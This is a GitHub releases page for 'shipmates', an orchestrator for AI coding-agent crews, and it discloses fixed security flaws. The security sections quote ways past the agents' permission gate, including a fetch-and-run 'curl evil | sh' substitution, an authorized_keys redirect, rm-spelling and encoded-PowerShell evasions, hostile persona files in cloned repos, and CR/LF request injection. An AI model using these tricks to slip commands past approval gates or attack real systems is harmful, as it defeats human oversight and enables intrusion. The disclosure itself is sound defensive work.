Skip to content

Releases: luthermonson/shipmates

v0.7.1

Choose a tag to compare

@github-actions github-actions released this 25 Sep 00:51

Polish for shipmates doctor (issue #62), from the v0.7.0 review. No behavior
changes to anything else, no config changes. Get the binary the same way as
before (see the v0.6.0 notes; go install remains blocked by the remotedialer
replace).

shipmates doctor fixes

  • A malformed shipmates.yaml now reports one clear failure. Previously it
    produced a FAIL mislabeled under the Fleet group (even with no fleet
    configured), a duplicate FAIL on runtime selection, and a swallowed Beads
    parse error. It's now a single FAIL — "project config (shipmates.yaml)" — in
    the Config group, with a fix hint.
  • More honest supervisor status. The systemd check recognizes masked /
    enabled-runtime (and reports genuinely-unknown states as a warning rather
    than a false OK); the Windows Scheduled Task check reads the task's Status
    field instead of an English-only substring, so a disabled task on a localized
    Windows host is no longer reported as fine.
  • Hardening. Added a test asserting the captain bearer token never appears in
    any rendered output, and aligned the ship.yaml path check with the
    home-directory guard the other config checks use.

The command's core guarantees are unchanged and re-verified: strictly read-only,
and it never prints a secret. govulncheck reports 0 affected vulnerabilities.

Discord chat remains experimental pending a live smoke test.

v0.7.0

Choose a tag to compare

@github-actions github-actions released this 13 Sep 21:53

Adds shipmates doctor. No breaking changes. Get the binary the same way as
before (see the v0.6.0 notes; go install is still blocked by the remotedialer
replace).

shipmates doctor

A read-only diagnostic that checks the external tools and config surfaces
shipmates depends on and reports OK / WARN / FAIL with a fix hint for each —
the checks you'd otherwise run by hand when a setup misbehaves. It exits
non-zero only if something genuinely can't work, so it's usable in a pre-flight
or CI hook.

What it checks, grouped:

  • Toolchain — claude on PATH (a FAIL if missing — it's the hard
    dependency), git, and bd (only expected when Beads is configured).
  • Config — your ~/.shipmates/ files parse cleanly (config.yaml,
    ship.yaml, personas.yaml, discord.yaml); the selected runtime is usable
    (for openai: base_url set, api_key_env populated, no plaintext endpoint);
    configured secret env vars are present.
  • Ship — captain session files have safe (0600) permissions, whether a
    captain is currently running, and whether the ship supervisor is installed for
    your OS.
  • Fleet (only if configured) — the fleet URL is https/loopback, the token
    is set, and the policy cache is present.
  • Personas — installed personas resolve, and it flags any whose checkout
    tries to set operator-only keys.

FAIL (the only status that exits non-zero) is reserved for genuinely broken
or insecure states: claude missing, a malformed config file, a selected
runtime that can't initialize, or a plaintext fleet URL to a non-loopback host.
Everything optional or degraded is a WARN; an absent config is just info.

It is strictly read-only — it never creates, changes, or deletes anything, never
starts a process beyond a health probe, and never prints a secret (env vars
are reported set/unset by name only).

govulncheck reports 0 affected vulnerabilities.

Known follow-ups

Minor doctor polish is tracked in #62 (a malformed shipmates.yaml is
mislabeled under the Fleet group; per-OS supervisor-status parsers for a few
edge states). Discord chat remains experimental pending a live smoke test.

v0.6.1

Choose a tag to compare

@github-actions github-actions released this 13 Sep 00:52

A cross-platform hardening patch. No new features, no config changes — three
correctness/safety fixes found by a sweep for the bug class v0.6.0's CI exposed:
code verified on the Windows dev box that behaves differently on the Linux/macOS
fleet. Get the binary the same way as before (see the v0.6.0 notes; go install
is still blocked by the remotedialer replace).

Fixes

  • Containment now bounds the whole process tree on Linux/macOS, not just the
    root process.
    The resource watchdog measured RSS/CPU for only the top-level
    process, while it killed the whole process group and the Windows Job Object
    already enforced memory tree-wide. So a tool subprocess that hogged memory or
    spun could slip past the cap on Linux/macOS — masked on Windows, where the
    kernel enforces it. The Unix samplers now sum usage across the child's process
    group, matching the scope that's killed. (This is a security control that was
    silently under-enforcing.)

  • The server's live-crew spawn no longer drops the final result frame or leaks
    processes.
    spawnCrewLive used cmd.StdoutPipe/StderrPipe with a
    concurrent cmd.Wait() — the same teardown race fixed in the runtime adapters
    in v0.5.0, but missed in the server's own path. On the resume path it could
    drop a mate's final result event (cost/model) and truncate stderr; and the
    child was reaped only on one path, leaking a zombie/handle on every fresh
    spawn over a long-running ship. The server now owns the pipes and reaps every
    child with drain-then-close ordering.

  • Brig path denies can no longer be case-evaded on UNC network shares. The
    matcher's case-insensitive fold fired only for drive-letter paths (C:\), so a
    UNC path (\\server\share\...) on a Windows ship with a network-share checkout
    was matched case-sensitively — a deny like Write(**/.claude/settings.json)
    wouldn't fire against ...\.CLAUDE\settings.json. UNC paths are now normalized
    and case-folded like drive-letter paths on any host.

govulncheck reports 0 affected vulnerabilities.

Not in this release

A few lower-severity stragglers of the same classes are tracked for later:
cross-OS update manifest keys, two unconditional case-folds
(berth.CurrentIsBerth, ship.AddProject), and a possible macOS ps args
truncation in the test-watchdog script. Discord chat remains experimental
(its live gateway wire is still unverified against a real bot).

v0.6.0

Choose a tag to compare

@github-actions github-actions released this 12 Sep 23:59

Two new capabilities — Discord chat and a Linux supervisor installer — plus a
round of security and reliability hardening. No breaking config changes; a few
Windows-only behavior changes are noted below.

Getting the binary

This is about obtaining the shipmates executable. (It's unrelated to the
shipmates ship install subcommand below, which registers the supervisor as a
service once you already have the binary.)

Two ways work:

  • Download a release build from the assets below —
    shipmates_0.6.0_<os>_<arch>.tar.gz (macOS/Linux) or .zip (Windows). The
    persona catalog is embedded, so the single executable is all you need:

    tar -xzf shipmates_0.6.0_linux_amd64.tar.gz shipmates
    sudo mv shipmates /usr/local/bin/
    shipmates --version
  • Build from source: git clone the repo and go build -o shipmates ..

go install github.com/luthermonson/shipmates@v0.6.0 does not work this
release, and this is the only acquisition method affected: shipmates pins a
fork of rancher/remotedialer (an unmerged data-race fix) via a replace
directive, and Go refuses to go install a module carrying replace directives.
Use either method above until
rancher/remotedialer#265
merges upstream and the replace can be dropped.

Features

Linux ship install (systemd)

shipmates ship install now works on Linux, completing the trio alongside the
Windows Scheduled Task and macOS launchd agent. It writes a systemd user unit
(~/.config/systemd/user/shipmates-ship.service), reloads, and enables it. Two
Linux-specific details are handled for you: the install-time PATH is baked into
the unit (a --user unit does not inherit your login shell env, so otherwise
ship serve couldn't find claude/git), and loginctl enable-linger is
enabled best-effort so the ship survives logout — if linger can't be set it warns
and continues rather than failing the install. shipmates ship uninstall removes
the unit; it leaves linger alone.

Discord chat (experimental)

shipmates discord connects your crew to Discord: an allowlisted message in a
mate's channel is delivered to that mate as a tell, and the mate's replies post
back as its own bot. Multi-bot is supported — each mate can speak as a distinct
Discord bot in its own channel, configured in ~/.shipmates/discord.yaml, with an
optional all-hands channel that mirrors every mate's output. Bot tokens are named
by env vars, never stored in the config file (the same operator-owned-secret rule
as the OpenAI runtime and personas). A single-bot mode via env vars works with no
config file.

Security throughout: the inbound allowlist is fail-closed, Discord text is treated
as data (never interpreted as a command), outbound @everyone/@here/mention
strings are stripped (plus AllowedMentions: none), mate output is run through the
terminal-escape scrubber, and the transport authenticates to the captain API with
its per-run bearer token.

Marked experimental: the code is complete and unit-tested, but the live
Discord wire (gateway connect, message delivery, posting) requires a real bot in a
server to exercise — see docs/discord.md for the setup and smoke-test steps.

Security & hardening

  • Permission-gate residual bypasses closed. Shell here-strings
    (bash <<< '…') and PowerShell -Command / -EncodedCommand (base64/UTF-16LE,
    now decoded) are evaluated as their own command lines instead of laundering an
    inner command past a deny rule. Windows-specific gaps found in review are also
    fixed: a backslash-spelled interpreter path
    (C:\…\powershell.exe) is now canonicalized so extraction still applies, and
    unquoted multi-token / colon-value -Command forms are handled. Malformed
    -EncodedCommand fails closed.
  • Brig article Windows parity. Articles that previously guarded only Unix paths
    (/etc/**) now also cover the Windows equivalents (C:\Windows\**, the Startup
    folder), and path matching for volume-rooted Windows paths is now
    case-insensitive — so c:\windows\… can no longer walk past a C:/Windows/**
    deny.
  • Bead-id validation unified. A third, divergent bead-id validator that lacked
    the .. traversal check now delegates to the shared internal/beadid rule,
    closing the gap without rejecting any real bd id.
  • govulncheck reports 0 affected vulnerabilities.

Reliability & tooling

  • Memory-watchdog test runner (scripts/safe-test.{ps1,sh}, documented in
    CONTRIBUTING.md). It runs the suite and kills any *.test child that crosses a
    memory cap, so a runaway test can't take the machine down — with a Linux fix
    (match on argv[0], not the 15-char-truncated comm) so packages like
    permissions aren't silently uncovered. Contributors should run tests through it;
    it also documents the rule that a bound must never be verified by disabling it and
    running unbounded.

Windows behavior changes (not breaking, but notable)

  • Path deny rules on volume-rooted Windows paths now match case-insensitively.
  • Backslash-spelled interpreter invocations are now subject to the same command
    extraction as forward-slash ones.

These only tighten enforcement; legitimate commands are unaffected.

v0.5.0

Choose a tag to compare

@github-actions github-actions released this 18 Aug 04:45
e5026e0

Voyages, the Brig, multi-runtime selection — and a security pass that changed
where several settings are allowed to live. Read the upgrade steps first:
this release deliberately breaks configurations that were unsafe, and some of
them fail closed at startup rather than warning.

Installing

Download a prebuilt binary from the assets below — shipmates_0.5.0_<os>_<arch>.tar.gz
(macOS/Linux) or .zip (Windows). The persona catalog is embedded, so the single
executable is all you need.

tar -xzf shipmates_0.5.0_linux_amd64.tar.gz shipmates
sudo mv shipmates /usr/local/bin/
shipmates --version

go install github.com/luthermonson/shipmates@v0.5.0 does not work this
release: shipmates pins a fork of rancher/remotedialer (carrying an unmerged
data-race fix) via a replace directive, and Go refuses to go install a module
with replace directives. Use a release binary or a source build
(git clone + go build -o shipmates .) until
rancher/remotedialer#265
merges upstream.


⚠️ Upgrade steps

Work through these before restarting a ship or a fleet.

1. Persona execution config moves out of the checkout

backend, command, cwd and dangerouslySkipPermissions are no longer read
from a persona file (.claude/agents/<persona>.md) or from a crew: block in
shipmates.yaml. Both arrive with git clone, so on an unreviewed repository
they were attacker-controlled — and they decided which executable shipmates
spawned and whether a human approved it.

They now live in ~/.shipmates/personas.yaml — the operator's own file,
outside every checkout — keyed by persona name:

personas:
  aider:
    backend: command
    command: [aider, --model, gpt-5]
    cwd: /home/you/src/thing

If you run a command-backed mate (opencode, aider, …), move its config now.
Starting a persona whose checkout still asks for backend:/command: fails
the spawn with an explicit error
rather than quietly launching claude instead.
Every refused key is logged with the file, the key, and where it must live.

permissions.mode stays repo-supplied but is bounded to ask, acceptEdits,
plan, default — an allowlist, so bypassPermissions and any mode invented
later are refused by default. No shipped catalog persona is affected.

2. The captain API now requires a credential

The ship's local HTTP server authenticates every route except GET /health.
The token is minted per run and written to .shipmates/sessions/server.token
(0600), alongside the port and pid files, which are now also 0600.

The CLI, shipmates bridge, the supervisor and the fleet were all updated. If
you have your own script that curls the captain port, it must now send
Authorization: Bearer <token> read from that file.
Requests carrying an
Origin header or Sec-Fetch-Site: cross-site are refused outright, and
JSON endpoints require Content-Type: application/json.

3. A token-less fleet on a non-loopback address refuses to start

Previously an empty SHIPMATES_FLEET_TOKEN meant every request was allowed
through, logged as a single auth=false line. Combined with --addr 0.0.0.0
that exposed tells, PTY input and permission resolves to the network. Binding
anything other than loopback without a token is now a startup error.

4. Plaintext fleet URLs are refused

An http:// or ws:// fleet URL pointing at a non-loopback host is rejected —
it put the bearer token on the wire in cleartext and let a man in the middle
serve an empty deny list. There is no opt-out flag. Put TLS in front of the
fleet and use https://. http://127.0.0.1:8443 and localhost remain legal
for local development.

5. Everyone re-logs-in to the fleet UI once

The session cookie now carries an HMAC-derived session id instead of the fleet's
shared secret. Existing cookies are not valid. If Fleet Command sits behind a
TLS-terminating proxy, set SHIPMATES_FLEET_TRUST_PROXY=1 so
X-Forwarded-Proto is honoured and the cookie is marked Secure — without it
the fleet logs a warning and leaves the cookie unmarked, because blindly
trusting that header would let any client claim TLS.

6. find now prompts

find and env were removed from the auto-allowed read-only builtins: both
execute a program named in their own arguments (find -exec, env CMD), so
they could never be judged safe on the head token alone. If this is noisy for
you, add a narrowly scoped allow rule rather than putting them back.


Security

A full review of the trust boundaries between a checkout, a ship, and the fleet.
Four high-severity issues, all fixed:

  • Arbitrary code execution from git clone. A persona file in a checkout
    could name the executable to spawn and waive the permission gate. Enforcement
    is now structural — the repo-supplied structs have no fields for those
    settings, so there is nothing for a hostile file to decode into.
  • Request-line injection through the fleet proxy. URL segments are
    percent-decoded by the router and were interpolated raw into a hand-built
    HTTP request to the captain, so a CR/LF in a persona name could rewrite the
    request and reach any captain endpoint. Segments are now validated and escaped,
    with a framing check as a backstop.
  • The captain API was unauthenticated and CSRF-able. Loopback is not a
    permission: any local process could drive it, and any web page the operator
    visited could POST to it without a preflight. See upgrade step 2.
  • The permission gate could be bypassed with shell metacharacters.
    cat notes > ~/.ssh/authorized_keys was auto-allowed with no prompt, because
    compound splitting ignored newlines and redirection and only the first token
    was inspected.

Also fixed, from the same review:

  • The fleet deny list failed open on restart. The policy lived only in
    memory, so a ship booting while Fleet Command was unreachable ran every mate
    with no fleet-wide deny list at all — retrying only every five minutes, behind
    a single WARN. Policies now persist to a 0600 cache and are re-applied
    before the first fetch; running with no policy in force is an ERROR and
    retries every 15s.
  • Persona path traversal on the captain's own handlers — an encoded ..
    reached the filesystem helpers, giving arbitrary-location reads and a
    .session file write. Validated at every handler entry and inside the path
    helpers themselves.
  • XSS in the fleet UI reachable from GitHub-derived bead text and from a
    ship's advertised repo URL, on the origin that holds the session secret.
  • Permission rules judged a spelling, not a command — echo $(curl evil | sh)
    and eval '…' laundered past an allow rule, and \rm, command rm,
    exec rm, /bin/rm evaded a Bash(rm *) deny. Substitution bodies and
    -c scripts are now evaluated as their own command lines; deny matching
    normalises the head token. Path rules are cleaned before matching, so
    .claude/foo/../settings.json no longer evades a Brig article.
  • Secrets exposure: the fleet token is no longer passed in the environment of
    a curl-capable model session, and Bash(curl:*) was dropped from it.
  • Unbounded request bodies and an unbounded in-memory event log are now capped;
    session markers are 0600; ship-derived text is scrubbed of terminal escapes
    before being printed by the CLI.
  • Reachable CVEs cleared by moving to Go 1.26.6 and golang.org/x/net v0.55.0.
    govulncheck reports 0 affected vulnerabilities.

Keystroke logging (SHIPMATES_BRIDGE_KEYLOG) is opt-in and now documented,
including that it records everything typed, secrets included.

Reliability

  • A process-teardown race could lose or retype a terminal event. Both the
    claude and codex adapters used cmd.StdoutPipe/StderrPipe while the
    supervisor called Wait concurrently — the usage os/exec documents as
    incorrect. Wait closed the pipes as it reaped the child, discarding buffered
    output, so an auth failure (Invalid API key · Please run /login) could reach
    the operator as a bare exit code, or the payload could change type from
    Terminal to a string. Both packages now own their pipes and close them only
    after the readers finish.
  • A data race in the tunnel dialer (Session.pingCancel / connection.err)
    could panic a ship under a reconnect storm. Fixed via the pinned
    remotedialer fork; the fix is upstream in
    rancher/remotedialer#265.

Features

  • Voyages — plan, commission and sail, with the first-mate persona,
    a model ladder, tracker integration and structured recovery.
  • The Brig — fifteen Ship's Articles enforced in the permission kernel,
    with freeze / release and a denial log.
  • Multi-runtime — --runtime claude|codex|openai across the command surface,
    with portable containment.
  • Hostile-input GitHub routing — GitHub text is treated as data, not
    instructions; see docs/security.md.

Docs

docs/security.md is new. The README's command surface, configuration and crew
tables were corrected against the actual CLI, and several examples that could not
have worked were fixed.

v0.4.0

Choose a tag to compare

@github-actions github-actions released this 11 Jul 04:53

Changelog

  • 3cbc57a Merge pull request #13 from luthermonson/feat/persona-berths
  • d781519 feat: persona berths — per-persona git worktrees with launch ergonomics

v0.3.2

Choose a tag to compare

@github-actions github-actions released this 11 Jul 02:05

Changelog

  • 7b173f5 Merge pull request #12 from luthermonson/feat/session-start-memory-hook
  • 3ea5657 Merge pull request #6 from luthermonson/docs/persona-session-context
  • f55d845 feat: SessionStart hook for deterministic memory loading

v0.3.1

Choose a tag to compare

@github-actions github-actions released this 10 Jul 20:06

Changelog

  • 3818019 Merge pull request #10 from luthermonson/feat/session-auto-repair-fixes
  • 0e705ed Merge pull request #11 from luthermonson/feat/local-show-command
  • d86a040 Merge pull request #8 from luthermonson/feat/attach-ui-cleanup
  • 0d22a21 Merge pull request #9 from luthermonson/feat/session-auto-repair
  • 77b3d44 feat: add shipmates show — local file-attach counterpart to tell
  • 1c1dcad feat: auto-repair stale claude session markers on live-crew spawn
  • 57589c1 fix(ui): collapse attach buttons — one Attach on desktop, Attach + Camera on mobile
  • d0dd919 fix: session auto-repair — deadlock, timeout, and stale-detection reliability

v0.3.0

Choose a tag to compare

@github-actions github-actions released this 09 Jul 01:54

Changelog

  • 9b97555 Merge pull request #3 from luthermonson/feat/fleet-command-rename
  • 891494f Merge pull request #5 from luthermonson/feat/permissions-inheritance
  • 491ac04 Merge pull request #7 from luthermonson/feat/attach-binary-payloads
  • 6e34ad7 feat: add shipmates fleet show CLI command as tell/say-style attach
  • 9d2064e feat: binary attach — Admiral drops photos/files to captains via Fleet Command UI
  • 7e61297 feat: permission model phase 1+2 — Claude Code config inheritance + fleet-native policies
  • 728ec16 refactor: bridge to Fleet Command, lead to Captain, add Commodore identity

v0.2.0

Choose a tag to compare

@luthermonson luthermonson released this 06 Jul 01:52

Shipmates grows from personas-with-memory into a fleet platform.

  • Bridge: outbound-tunnel rendezvous, web UI, auth, event mirror
  • Live PTY terminals in the browser (ConPTY, mode replay, writer locks)
  • Status dots + permission gate across the fleet
  • Beads work graph: fleet sync (~4s nudge), cross-ship dispatch, full CRUD from the UI, gh↔beads seam via external_ref
  • Ship supervisor: shipmates ship serve|install — one daemon per host, leads at logon
  • Headless timeline: structured stream-json rendering with per-turn cost
  • Voice bridge: whisper.cpp STT → pluggable brain (OpenAI-compatible or claude -p on your subscription) → Kokoro/Edge TTS; hands-free conversation mode
  • leadPersona: config — themed coordinators (picard, coach) front their ships